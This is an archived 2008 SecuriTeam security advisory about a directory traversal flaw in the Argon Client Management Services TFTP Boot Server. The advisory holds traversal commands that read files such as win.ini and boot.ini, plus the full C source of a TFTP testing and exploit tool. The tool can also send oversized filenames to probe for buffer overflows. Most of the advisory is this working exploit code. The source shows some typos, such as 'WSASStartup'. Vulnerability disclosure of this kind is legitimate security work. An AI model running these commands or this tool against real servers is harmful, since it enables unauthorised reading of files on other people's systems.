

[NT] Argon Client Management Services Directory Traversal

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2008-03/msg00063.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 19 Mar 2008 08:28:08 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Argon Client Management Services Directory Traversal

SUMMARY

<<http://www.argontechnology.com/product.aspx/cid1/43>> Client Management Services (CMS) includes "all the server-based services (PXE Server, BOOTP Server) and administration tools needed to setup an open network boot environment. You can deploy your favorite third party client management tools in a pre-OS booting phase." The Argon Client Management Services TFTP Boot Server is affected by a classical directory traversal vulnerability which allows an attacker to download (upload is not allowed) any file from the disk where is located the tftp folder.

DETAILS

Vulnerable Systems:

* Argon Client Management Services version 1.31 (TFTP Boot Server version 2.5.3.1)

Exploit:

Run the below script with the following commands:

```
tftpx SERVER ../windows/win.ini none  
tftpx SERVER ../boot.ini none
```

[NT] Argon Client Management Services Directory Traversal

/*

by Luigi Auriemma – <http://aluigi.org/testz/tftpz.zip>

*/

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include "show_dump.h"
```

```
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
```

```
#define close closesocket
#define sleep Sleep
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
```

```
#define VER "0.1"
#define BUFFSZ 65536
#define UDPSZ 512
#define PORT 69
#define CHR 0x61
#define TIMEOUT 3
#define NONE "none"
```

```
u_int tftp_download(u_char *buff);
u_int tftp_upload(u_char *buff, u_int filesz);
int timeout(int sock);
u_int resolv(char *host);
void std_err(void);
```

```
FILE *fd;
int sd,
hexdump = 0;
```

[NT] Argon Client Management Services Directory Traversal

```
struct sockaddr_in peer;

int main(int argc, char *argv[]) {
    u_int tsize = 0;
    int i,
    len,
    psz,
    upload = 0,
    blocksize = 0,
    tout = 0,
    multicast = 0,
    overwrite = 0,
    bofsize = 0;
    u_short port = PORT;
    u_char *buff,
    *local,
    *remote,
    *custom_option = NULL,
    *custom_value = NULL;
    struct stat xstat;

#ifdef WIN32
    WSADATA wsadata;
    WSASStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
    "TFTP server tester "VER"\n"
    "by Luigi Auriemma\n"
    "e-mail: aluigi@xxxxxxxxxxxxxx\n"
    "web: aluigi.org\n"
    "\n", stdout);

    if(argc < 2) {
        printf("\n"
        "Usage: %s [options] <host> <remote_file> <local_file>\n"
        "\n"
        "-u upload a file, default is download\n"
        "-t SIZE tftp tsize option, default is %u or real size if
        upload\n"
        "-b SIZE tftp blocksize option, default is not set\n"
        "-o NUM tftp timeout option, default is not set\n"
        "-m NUM tftp multicast option, default is not set\n"
        "-c X Y add a custom value where X is the option and Y its
        value\n"
        "-C X Y like above but X and Y are the size of the 2 values
```

[NT] Argon Client Management Services Directory Traversal

```
filled with '%c'\n"
"-p PORT server port, default is %hu\n"
"-x show the hexdump of any packet received\n"
"-y automatically overwrite the local file if exists
(only download)\n"
"-f [CHR] this option is useful to easily test possible
buffer-overflows in the\n"
" filename sent to the server without manually
specifying it. The\n"
" default char is '%c' (0x%02x) and the number of
chars to compose the\n"
" filename must be specified in the remote_file
argument.\n"
" Example: -f server 8192 local.txt\n"
"\n"
"Note: if local_file is equal to %s will be used stdout for
upload or stdin\n"
" for download. Very useful to test overflow bugs without
creating files.\n"
"\n", argv[0], tsize, CHR, port, CHR, CHR, NONE);
exit(1);
}
```

```
argc -= 3;
for(i = 1; i < argc; i++) {
switch(argv[i][1]) {
case '-':
case '?':
case 'h': {
fputs("\nError: use no arguments for the help\n", stdout);
exit(1);
} break;
case 'u': upload = 1; break;
case 't': tsize = atol(argv[++i]); break;
case 'b': blocksize = atoi(argv[++i]); break;
case 'o': tout = atoi(argv[++i]); break;
case 'm': multicast = atoi(argv[++i]); break;
case 'c': {
custom_option = argv[++i];
custom_value = argv[++i];
} break;
case 'C': {
len = atoi(argv[++i]);
custom_option = malloc(len + 1);
if(!custom_option) std_err();
memset(custom_option, CHR, len);
custom_option[len] = 0;

len = atoi(argv[++i]);
custom_value = malloc(len + 1);
if(!custom_value) std_err();
```

[NT] Argon Client Management Services Directory Traversal

```
memset(custom_value, CHR, len);
custom_value[len] = 0;
} break;
case 'p': port = atoi(argv[++i]); break;
case 'x': hexdump = 1; break;
case 'y': overwrite = 1; break;
case 'f': bofsize = 1; break;
default: {
printf("\nError: Wrong command-line argument (%s)\n\n",
argv[i]);
exit(1);
} break;
}
}
```

```
peer.sin_addr.s_addr = resolv(argv[argc]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
psz = sizeof(peer);
```

```
printf("- target %s:%hu\n",
inet_ntoa(peer.sin_addr),
port);
```

```
if(bofsize) {
bofsize = atoi(argv[argc + 1]);
// simple size check, not to avoid bof problems (this is
// only a PoC) but to limit bofsize to a correct value
if(bofsize > (BUFFSZ - 8)) bofsize = BUFFSZ - 8;
printf("- size of filename: %d\n", bofsize);
remote = malloc(bofsize + 1);
if(!remote) std_err();
memset(remote, CHR, bofsize);
remote[bofsize] = 0;
} else {
remote = argv[argc + 1];
}
local = argv[argc + 2];
printf("- remote file: %s\n", remote);
if(!strcmp(local, NONE)) {
if(!upload) {
fputs("- local file: standard output\n", stdout);
fd = stdout;
} else {
fputs("- local file: standard input\n", stdout);
fd = stdin;
}
} else {
printf("- local file: %s\n", local);
if(!upload) {
fputs("- open local file for writing\n", stdout);
```

[NT] Argon Client Management Services Directory Traversal

```
if(!overwrite) {
fd = fopen(local, "rb");
if(fd) {
fputs("-- file exists, do you wanna overwrite it?\n
(y/N) ", stdout);
fflush(stdin);
i = fgetc(stdin);
if((i != 'y') && (i != 'Y')) {
fputs("-- exit\n\n", stdout);
exit(1);
}
fclose(fd);
}
}
fd = fopen(local, "wb");
if(!fd) std_err();
} else {
fputs("-- open local file for reading\n", stdout);
fd = fopen(local, "rb");
if(!fd) std_err();
}
}

buff = malloc(BUFFSZ);
if(!buff) std_err();

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

if(!upload) {
*(u_short *)buff = htons(1);
} else {
*(u_short *)buff = htons(2);
if(!tsize) {
fstat(fileno(fd), &xstat);
tsize = xstat.st_size;
printf("-- local file size: %u\n", tsize);
}
}

len = strlen(remote) + 1;
memcpy(buff + 2, remote, len);
len += 2;
memcpy(buff + len, "octet", 6);
len += 6;

memcpy(buff + len, "tsize", 6);
len += 6;
len += sprintf(buff + len, "%u", tsize) + 1;

if(blocksize) {
```

[NT] Argon Client Management Services Directory Traversal

```
memcpy(buff + len, "blocksize", 10);
len += 10;
len += sprintf(buff + len, "%d", blocksize) + 1;
}

if(tout) {
memcpy(buff + len, "timeout", 8);
len += 8;
len += sprintf(buff + len, "%d", tout) + 1;
}

if(multicast) {
memcpy(buff + len, "multicast", 10);
len += 10;
len += sprintf(buff + len, "%d", multicast) + 1;
}

if(custom_option) {
i = strlen(custom_option) + 1;
memcpy(buff + len, custom_option, i);
len += i;
i = strlen(custom_value) + 1;
memcpy(buff + len, custom_value, i);
len += i;
}

fputs("- send file request\n", stdout);
if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err());

if(!upload) {
fputs("- start download\n", stdout);
printf("\n- %u bytes received\n", tftp_download(buff));
} else {
fputs("- start upload\n", stdout);
printf("\n- %u bytes sent\n", tftp_upload(buff, tsize));
}

fclose(fd);
close(sd);
return(0);
}

u_int tftp_download(u_char *buff) {
u_int tot,
filesz;
int len,
psz;
u_short *opcode,
```

[NT] Argon Client Management Services Directory Traversal

```
*block;

opcode = (u_short *)buff;
block = (u_short *)(buff + 2);
psz = sizeof(peer);

for(filesz = -1L, tot = 0; tot < filesz;) {
if(timeout(sd) < 0) {
fputs("\n- timeout or download finished\n", stdout);
break;
}
len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer,
&psz);
if(len < 0) std_err();
if(!len) break;
if(hexdump) show_dump(buff, len, stdout);

switch(ntohs(*opcode)) {
case 3: { /* DATA */
len -= 4;
if(fwrite(buff + 4, len, 1, fd) != 1) {
fputs("\nError: impossible to write into the local
file\n", stdout);
exit(1);
}
fflush(fd);
tot += len;
} break;
case 5: { /* ERROR */
printf("\n"
"Error: TFTP error %d from the server:\n"
"\n"
" %s\n"
"\n", ntohs(*block), buff + 4);
exit(1);
} break;
case 6: { /* OACK */
if(!strcmp(buff + 2, "tsize")) {
sscanf(buff + 8, "%u", &filesz);
printf("- remote file size: %u\n", filesz);
}
*block = 0;
} break;
default: {
fputs("\nError: unknown tftp opcode\n\n", stdout);
if(!hexdump) show_dump(buff, len, stdout);
exit(1);
} break;
}

*opcode = htons(4);
```

[NT] Argon Client Management Services Directory Traversal

```
if(sendto(sd, buff, 4, 0, (struct sockaddr *)&peer, sizeof(peer))  
< 0) std_err();
```

```
fputc('.', stdout);  
}  
return(tot);  
}
```

```
u_int tftp_upload(u_char *buff, u_int filesz) {  
u_int tot;  
int len,  
psz;  
u_short *opcode,  
*block,  
num;
```

```
opcode = (u_short *)buff;  
block = (u_short *)(buff + 2);  
psz = sizeof(peer);
```

```
for(tot = 0, num = 0; tot < filesz; tot += len) {  
if(timeout(sd) < 0) {  
fputs("\n- timeout or upload finished\n", stdout);  
break;  
}  
len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer,  
&psz);  
if(len < 0) std_err();  
if(!len) break;  
if(hexdump) show_dump(buff, len, stdout);
```

```
switch(ntohs(*opcode)) {  
case 4: { /* ACK */  
if(ntohs(*block) != num) {  
fputs("\nError: packet lost, retransmission is not  
supported yet\n", stdout);  
exit(1);  
}  
} break;  
case 5: { /* ERROR */  
printf("\n"  
"Error: TFTP error %d from the server:\n"  
"\n"  
" %s\n"  
"\n", ntohs(*block), buff + 4);  
exit(1);  
} break;  
case 6: { /* OACK */  
} break;
```

[NT] Argon Client Management Services Directory Traversal

```
default: {
fputs("\nError: unknown tftp opcode\n\n", stdout);
if(!hexdump) show_dump(buff, len, stdout);
exit(1);
} break;
}

len = fread(buff + 4, 1, UDPSZ, fd);
if(!len) break;
*opcode = htons(3);
*block = htons(++num);
if(sendto(sd, buff, len + 4, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();

fputc('.', stdout);
}

if(tot == filesz) { /* seems needed or the server doesn't close
the file */
*opcode = htons(3);
*block = htons(++num);
if(sendto(sd, buff, 4, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
}

return(tot);
}

int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;

tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}

u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;
```

[NT] Argon Client Management Services Directory Traversal

```
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)hp->h_addr;
}
return(host_ip);
}
```

```
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:aluigi@xxxxxxxxxxxxxx>> Luigi Auriemma.

The original article can be found at:

<<http://aluigi.altervista.org/adv/argonauti-adv.txt>>

<http://aluigi.altervista.org/adv/argonauti-adv.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.